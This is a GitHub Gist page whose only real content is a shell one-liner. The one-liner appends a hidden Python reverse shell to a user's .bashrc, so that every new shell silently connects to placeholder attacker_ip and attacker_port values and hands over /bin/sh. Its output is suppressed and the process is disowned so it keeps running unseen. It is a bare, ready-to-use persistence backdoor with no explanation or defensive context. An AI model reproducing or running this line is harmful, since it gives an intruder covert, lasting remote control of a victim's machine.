Created
September 7, 2018 09:40
-
-
Save XayOn/f71c8b3523d324bfba09e1f280024eb9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo -e "\npython2 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((attacker_ip,attacker_port)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\"/bin/sh\")' &>/dev/null & disown;" >> .bashrc |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment